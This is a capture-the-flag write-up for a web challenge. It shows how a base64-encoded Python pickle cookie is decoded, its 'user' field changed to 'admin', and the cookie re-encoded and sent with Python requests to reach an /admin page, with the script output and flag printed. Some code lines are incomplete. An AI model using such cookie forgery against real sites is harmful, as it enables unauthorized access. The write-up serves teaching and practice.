Category: Web Points: 50 Solves: 413 Description:

This blog on Zombie research looks like it might be interesting - can you break into the /admin section?


I start by enabling developer toolbar on Google Chrome and start capturing the network traffic.

I notice an ‘Admin’ button at the top of the page. When I click on it, I just get redirected to the homepage and notice my URL bar updates as followed:

However, I notice my browser downloaded a cookie at some point.

It looks like the cookie was retrieved from a ‘GET’ request at ‘/getCookie’. This information will be useful when implemeting the script later.

Cookie obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu

I have heard of ‘pickle’ before. It’s a format for serializing data, usually over a network. Very similar to JSON. I tried loading the above data directly into pickle. But unfortunately, it threw an exception.

However, the pickle could be simply encoded in another format, perhaps base64….

>>> from base64 import b64decode
>>> b64decode('KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu')

Ok, that looks a lot more like pickle data to me, let’s load it up in Python.


Load the pickle data

#Decode the base64 pickle
pickb64 = cookie['obsoletePickle']
pick = b64decode(pickb64)

#Write the pickle to a tmp file
tmpf = 'tmp.p'
f = open(tmpf, 'wb')

#load the pickle
obsoletePickle = pickle.load(open('tmp.p', 'rb'))
print('%s' % str(obsoletePickle))

Print the pickle data

{'python': 'pickles', 'subtle': 'hint', 'user': None}


From the formatted pickle data, it should be pretty clear what’s going on. The ‘user’ field is set to None. This is because we are not logged in. I think we can trick the webiste! Why don’t we login as the admin by setting our ‘user’ attribute to ‘admin’.

Modify the pickle data so that it reads…

{'python': 'pickles', 'subtle': 'hint', 'user': 'admin'}

Modify pickle data and dump back to raw data

obsoletePickle['user'] = 'admin'

#Write to spoofed pickle to a new file
pickle.dump(obsoletePickle, open('spoofed.p', 'wb'))
spooff = 'spoofed.p'

#Read back as plain data
f = open(spooff, 'rb')
pick =

Create the new cookie (encoded in base64)

spoofed_cookie = dict(obsoletePickle=b64encode(pick))

Perform the attack to login to the admin page ‘admin’

r = requests.get(URL + 'admin', verify=False, cookies=spoofed_cookie)

Script Output

  <link href="/static/bootstrap.min.css" rel="stylesheet">
  <link href="/static/jumbotron-narrow.css" rel="stylesheet">

    <div class="container">
      <div class="header clearfix">
          <ul class="nav nav-pills pull-right">
            <li role="presentation" class="active"><a href="#">./boringblog</a></li>
            <li role="presentation"><a href="/admin">Admin</a></li>
        <h3 class="text-muted">yawn</h3>

      <div class="jumbotron">
        <h1>My Zombie Research Project</h1>
        <p class="lead">./boringblog</p>

      <div class="row marketing">
        <div class="col-lg-12">
          <h3>Blog Development - 20th January, 2016</h3>
          <p>I don't have much content yet, except for my admin page. Stay tuned for more information</p>
      <iframe style="border: 0;" src="/getCookie"></iframe>
    </div> <!-- /container -->


<RequestsCookieJar[<Cookie obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu for>]>

Real Pickle:
{'python': 'pickles', 'subtle': 'hint', 'user': None}

Spoofed Admin Pickle:
{'python': 'pickles', 'subtle': 'hint', 'user': 'admin'}

Your flag is CTF{but_wait,theres_more.if_you_call} ... but is there more(1)? or less(1)?



Python script